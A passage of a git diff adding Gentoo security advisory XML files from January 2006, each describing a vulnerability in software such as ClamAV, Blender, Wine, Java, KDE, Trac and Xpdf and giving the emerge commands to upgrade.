+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/ffmpeg-0.4.9_p20051216&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4048">CVE-2005-4048</uri>
+    <uri link="http://article.gmane.org/gmane.comp.video.ffmpeg.devel/26558">Original advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 03 Jan 2006 10:30:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 06 Jan 2006 00:22:43 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 Jan 2006 22:59:16 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-07.xml b/xml/htdocs/security/en/glsa/glsa-200601-07.xml
new file mode 100644
index 00000000..a221a206
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-07">
+  <title>ClamAV: Remote execution of arbitrary code</title>
+  <synopsis>
+    ClamAV is vulnerable to a buffer overflow which may lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>January 13, 2006</announced>
+  <revised>January 13, 2006: 01</revised>
+  <bug>118459</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88</unaffected>
+      <vulnerable range="lt">0.88</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Zero Day Initiative (ZDI) reported a heap buffer overflow
+    vulnerability. The vulnerability is due to an incorrect boundary check
+    of the user-supplied data prior to copying it to an insufficiently
+    sized memory buffer. The flaw occurs when the application attempts to
+    handle compressed UPX files.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    For example by sending a maliciously crafted UPX file into a mail
+    server that is integrated with ClamAV, a remote attacker's supplied
+    code could be executed with escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0162">CVE-2006-0162</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 09 Jan 2006 23:12:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 11 Jan 2006 01:55:27 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Jan 2006 21:27:50 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-08.xml b/xml/htdocs/security/en/glsa/glsa-200601-08.xml
new file mode 100644
index 00000000..ccc5bb8b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-08">
+  <title>Blender: Heap-based buffer overflow</title>
+  <synopsis>
+    Blender is vulnerable to a buffer overflow that may be exploited by
+    attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">blender</product>
+  <announced>January 13, 2006</announced>
+  <revised>January 13, 2006: 01</revised>
+  <bug>118163</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/blender" auto="yes" arch="*">
+      <unaffected range="ge">2.40</unaffected>
+      <vulnerable range="lt">2.40</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blender is an open source software for 3D modeling, animation,
+    rendering, post-production, interactive creation and playback.
+    </p>
+  </background>
+  <description>
+    <p>
+    Damian Put has reported a flaw due to an integer overflow in the
+    "get_bhead()" function, leading to a heap overflow when processing
+    malformed ".blend" files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user into opening a specially
+    crafted ".blend" file, resulting in the execution of arbitrary code
+    with the permissions of the user running Blender.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Blender users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/blender-2.40&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4470">CVE-2005-4470</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 10 Jan 2006 19:17:22 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 10 Jan 2006 19:17:39 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 11 Jan 2006 01:12:10 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-09.xml b/xml/htdocs/security/en/glsa/glsa-200601-09.xml
new file mode 100644
index 00000000..66bcd456
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-09">
+  <title>Wine: Windows Metafile SETABORTPROC vulnerability</title>
+  <synopsis>
+    There is a flaw in Wine in the handling of Windows Metafiles (WMF) files,
+    which could possibly result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">wine</product>
+  <announced>January 13, 2006</announced>
+  <revised>February 26, 2007: 03</revised>
+  <bug>118101</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/wine" auto="yes" arch="*">
+      <unaffected range="ge">0.9</unaffected>
+      <vulnerable range="lt">20060000</vulnerable>
+      <vulnerable range="gt">20040000</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wine is a free implementation of Windows APIs for Unix-like systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    H D Moore discovered that Wine implements the insecure-by-design
+    SETABORTPROC GDI Escape function for Windows Metafile (WMF) files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted Windows
+    Metafile (WMF) file from within a Wine executed Windows application,
+    possibly resulting in the execution of arbitrary code with the rights
+    of the user running Wine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wine users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/wine-0.9.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0106">CVE-2006-0106</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 08 Jan 2006 16:28:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 08 Jan 2006 17:43:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Jan 2006 08:25:50 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-10.xml b/xml/htdocs/security/en/glsa/glsa-200601-10.xml
new file mode 100644
index 00000000..1d779afb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-10.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-10">
+  <title>Sun and Blackdown Java: Applet privilege escalation</title>
+  <synopsis>
+    Sun's and Blackdown's JDK or JRE may allow untrusted applets to elevate
+    their privileges.
+  </synopsis>
+  <product type="ebuild">sun-jdk sun-jre-bin blackdown-jre blackdown-jdk</product>
+  <announced>January 16, 2006</announced>
+  <revised>January 16, 2006: 01</revised>
+  <bug>118114</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.09</unaffected>
+      <vulnerable range="lt">1.4.2.09</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.09</unaffected>
+      <vulnerable range="lt">1.4.2.09</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.03</unaffected>
+      <vulnerable range="lt">1.4.2.03</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jre" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.03</unaffected>
+      <vulnerable range="lt">1.4.2.03</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sun and Blackdown both provide implementations of the Java
+    Development Kit (JDK) and Java Runtime Environment (JRE).
+    </p>
+  </background>
+  <description>
+    <p>
+    Adam Gowdiak discovered multiple vulnerabilities in the Java
+    Runtime Environment's Reflection APIs that may allow untrusted applets
+    to elevate privileges.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could embed a malicious Java applet in a web
+    page and entice a victim to view it. This applet can then bypass
+    security restrictions and execute any command or access any file with
+    the rights of the user running the web browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.09&quot;</code>
+    <p>
+    All Sun JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.09&quot;</code>
+    <p>
+    All Blackdown JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jdk-1.4.2.03&quot;</code>
+    <p>
+    All Blackdown JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/blackdown-jre-1.4.2.03&quot;</code>
+    <p>
+    Note to SPARC and PPC users: There is no stable secure
+    Blackdown Java for the SPARC or PPC architectures. Affected users on
+    the PPC architecture should consider switching to the IBM Java packages
+    (ibm-jdk-bin and ibm-jre-bin). Affected users on the SPARC should
+    remove the package until a SPARC package is released.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3905">CVE-2005-3905</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3906">CVE-2005-3906</uri>
+    <uri link="http://sunsolve.sun.com/searchproxy/document.do?assetkey=1-26-102003-1">Sun Security Alert ID 102003</uri>
+    <uri link="http://www.blackdown.org/java-linux/java2-status/security/Blackdown-SA-2005-03.txt">Blackdown Java-Linux Security Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 13 Jan 2006 09:49:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Jan 2006 09:55:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-11.xml b/xml/htdocs/security/en/glsa/glsa-200601-11.xml
new file mode 100644
index 00000000..b7093f9a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-11">
+  <title>KDE kjs: URI heap overflow vulnerability</title>
+  <synopsis>
+    KDE fails to properly validate URIs when handling javascript, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">KDE</product>
+  <announced>January 22, 2006</announced>
+  <revised>January 22, 2006: 01</revised>
+  <bug>118550</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.4.3-r1</unaffected>
+      <vulnerable range="lt">3.4.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. kjs is the javascript interpreter used in
+    Konqueror and other parts of KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Maksim Orlovich discovered an incorrect bounds check in kjs when
+    handling URIs.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a specially crafted webpage containing
+    malicious javascript, an attacker could execute arbitrary code with the
+    rights of the user running kjs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs-3.4.3-r1</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0019">CVE-2006-0019</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20060119-1.txt">KDE Security Advisory: kjs encodeuri/decodeuri heap overflow vulnerability</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 20 Jan 2006 06:30:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 21 Jan 2006 13:57:57 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-12.xml b/xml/htdocs/security/en/glsa/glsa-200601-12.xml
new file mode 100644
index 00000000..31a8d795
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-12.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-12">
+  <title>Trac: Cross-site scripting vulnerability</title>
+  <synopsis>
+    Trac is vulnerable to a cross-site scripting attack that could allow
+    arbitrary JavaScript code execution.
+  </synopsis>
+  <product type="ebuild">trac</product>
+  <announced>January 26, 2006</announced>
+  <revised>January 26, 2006: 01</revised>
+  <bug>118302</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/trac" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3</unaffected>
+      <vulnerable range="lt">0.9.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Trac is a minimalistic web-based project management, wiki and bug
+    tracking system including a Subversion interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Christophe Truc discovered that Trac fails to properly sanitize
+    input passed in the URL.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could exploit this to inject and execute
+    malicious script code or to steal cookie-based authentication
+    credentials, potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Trac users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/trac-0.9.3&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4305">CVE-2005-4305</uri>
+    <uri link="http://projects.edgewall.com/trac/wiki/ChangeLog#a0.9.3">Trac Changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 18 Jan 2006 15:05:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 18 Jan 2006 15:05:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 Jan 2006 19:44:58 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-13.xml b/xml/htdocs/security/en/glsa/glsa-200601-13.xml
new file mode 100644
index 00000000..47fdc3b3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-13.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-13">
+  <title>Gallery: Cross-site scripting vulnerability</title>
+  <synopsis>
+    Gallery is possibly vulnerable to a cross-site scripting attack that could
+    allow arbitrary JavaScript code execution.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>January 26, 2006</announced>
+  <revised>January 26, 2006: 01</revised>
+  <bug>119590</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.5.2</unaffected>
+      <vulnerable range="lt">1.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a web application written in PHP which is used to
+    organize and publish photo albums. It allows multiple users to build
+    and maintain their own albums. It also supports the mirroring of images
+    on other servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Peter Schumacher discovered that Gallery fails to sanitize the
+    fullname set by users, possibly leading to a cross-site scripting
+    vulnerability.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By setting a specially crafted fullname, an attacker can inject
+    and execute script code in the victim's browser window and potentially
+    compromise the user's gallery.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-1.5.2&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://gallery.menalto.com/page/gallery_1_5_2_release">Gallery Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0330">CVE-2006-0330</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 22 Jan 2006 19:16:38 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 22 Jan 2006 19:17:06 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 22 Jan 2006 19:28:37 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-14.xml b/xml/htdocs/security/en/glsa/glsa-200601-14.xml
new file mode 100644
index 00000000..1b99b6c5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-14">
+  <title>LibAST: Privilege escalation</title>
+  <synopsis>
+    A buffer overflow in LibAST may result in execution of arbitrary code with
+    escalated privileges.
+  </synopsis>
+  <product type="ebuild">LibAST</product>
+  <announced>January 29, 2006</announced>
+  <revised>January 29, 2006: 02</revised>
+  <bug>120106</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-libs/libast" auto="yes" arch="*">
+      <unaffected range="ge">0.7</unaffected>
+      <vulnerable range="lt">0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LibAST is a utility library that was originally intended to accompany
+    Eterm, but may be used by various other applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael Jennings discovered an exploitable buffer overflow in the
+    configuration engine of LibAST.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The vulnerability can be exploited to gain escalated privileges if the
+    application using LibAST is setuid/setgid and passes a specifically
+    crafted filename to LibAST's configuration engine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Identify all applications linking against LibAST and verify they are
+    not setuid/setgid.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest version and run revdep-rebuild:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libast-0.7&quot;
+    # revdep-rebuild</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0224">CVE-2006-0224</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 25 Jan 2006 21:44:39 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Jan 2006 09:35:14 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 27 Jan 2006 21:23:22 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-15.xml b/xml/htdocs/security/en/glsa/glsa-200601-15.xml
new file mode 100644
index 00000000..8e02aefe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-15.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-15">
+  <title>Paros: Default administrator password</title>
+  <synopsis>
+    Paros's database component is installed without a password, allowing
+    execution of arbitrary system commands.
+  </synopsis>
+  <product type="ebuild">Paros</product>
+  <announced>January 29, 2006</announced>
+  <revised>January 29, 2006: 01</revised>
+  <bug>120352</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/paros" auto="yes" arch="*">
+      <unaffected range="gt">3.2.5</unaffected>
+      <vulnerable range="le">3.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Paros is an intercepting proxy between a web server and a client
+    meant to be used for security assessments. It allows the user to watch
+    and modify the HTTP(S) traffic.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andrew Christensen discovered that in older versions of Paros the
+    database component HSQLDB is installed with an empty password for the
+    database administrator "sa".
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Since the database listens globally by default, an attacker can
+    connect and issue arbitrary commands, including execution of binaries
+    installed on the host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Paros users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --snyc
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/paros-3.2.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3280">CVE-2005-3280</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 26 Jan 2006 06:06:09 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 27 Jan 2006 21:44:45 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-16.xml b/xml/htdocs/security/en/glsa/glsa-200601-16.xml
new file mode 100644
index 00000000..e857483e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-16.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-16">
+  <title>MyDNS: Denial of Service</title>
+  <synopsis>
+    MyDNS contains a vulnerability that may lead to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">MyDNS</product>
+  <announced>January 30, 2006</announced>
+  <revised>January 30, 2006: 01</revised>
+  <bug>119548</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/mydns" auto="yes" arch="*">
+      <unaffected range="ge">1.1.0</unaffected>
+      <vulnerable range="lt">1.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MyDNS is a DNS server using a MySQL database as a backend. It is
+    designed to allow for fast updates and small resource usage.
+    </p>
+  </background>
+  <description>
+    <p>
+    MyDNS contains an unspecified flaw that may allow a remote Denial
+    of Service.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could cause a Denial of Service by sending malformed
+    DNS queries to the MyDNS server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MyDNS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/mydns-1.1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0351">CVE-2006-0351</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 25 Jan 2006 19:31:44 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 27 Jan 2006 05:37:45 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 27 Jan 2006 21:29:58 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200601-17.xml b/xml/htdocs/security/en/glsa/glsa-200601-17.xml
new file mode 100644
index 00000000..5787192d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200601-17.xml
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200601-17">
+  <title>Xpdf, Poppler, GPdf, libextractor, pdftohtml: Heap overflows</title>
+  <synopsis>
+    Xpdf, Poppler, GPdf, libextractor and pdftohtml are vulnerable to integer
+    overflows that may be exploited to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xpdf poppler gpdf libextractor pdftohtml</product>
+  <announced>January 30, 2006</announced>
+  <revised>January 30, 2006: 01</revised>
+  <bug>117481</bug>
+  <bug>117494</bug>
+  <bug>117495</bug>
+  <bug>115789</bug>
+  <bug>118665</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/xpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.01-r5</unaffected>
+      <vulnerable range="lt">3.01-r5</vulnerable>
+    </package>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.4.3-r4</unaffected>
+      <vulnerable range="lt">0.4.3-r4</vulnerable>
+    </package>
+    <package name="app-text/gpdf" auto="yes" arch="*">
+      <unaffected range="ge">2.10.0-r3</unaffected>
+      <vulnerable range="lt">2.10.0-r3</vulnerable>
+    </package>
+    <package name="media-libs/libextractor" auto="yes" arch="*">
+      <unaffected range="ge">0.5.9</unaffected>
+      <vulnerable range="lt">0.5.9</vulnerable>
+    </package>
+    <package name="app-text/pdftohtml" auto="yes" arch="*">
+      <vulnerable range="lt">0.36-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xpdf is a PDF file viewer that runs under the X Window System.
+    Poppler is a PDF rendering library based on the Xpdf 3.0 code base.
+    GPdf is a PDF file viewer for the GNOME 2 platform, also based on Xpdf.
+    libextractor is a library which includes Xpdf code to extract arbitrary
+    meta-data from files. pdftohtml is a utility to convert PDF files to
+    HTML or XML formats that makes use of Xpdf code to decode PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has reported some integer overflows in Xpdf when
+    attempting to calculate buffer sizes for memory allocation, leading to
+    a heap overflow and a potential infinite loop when handling malformed
+    input files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted PDF file to a victim, an attacker
+    could cause an overflow, potentially resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
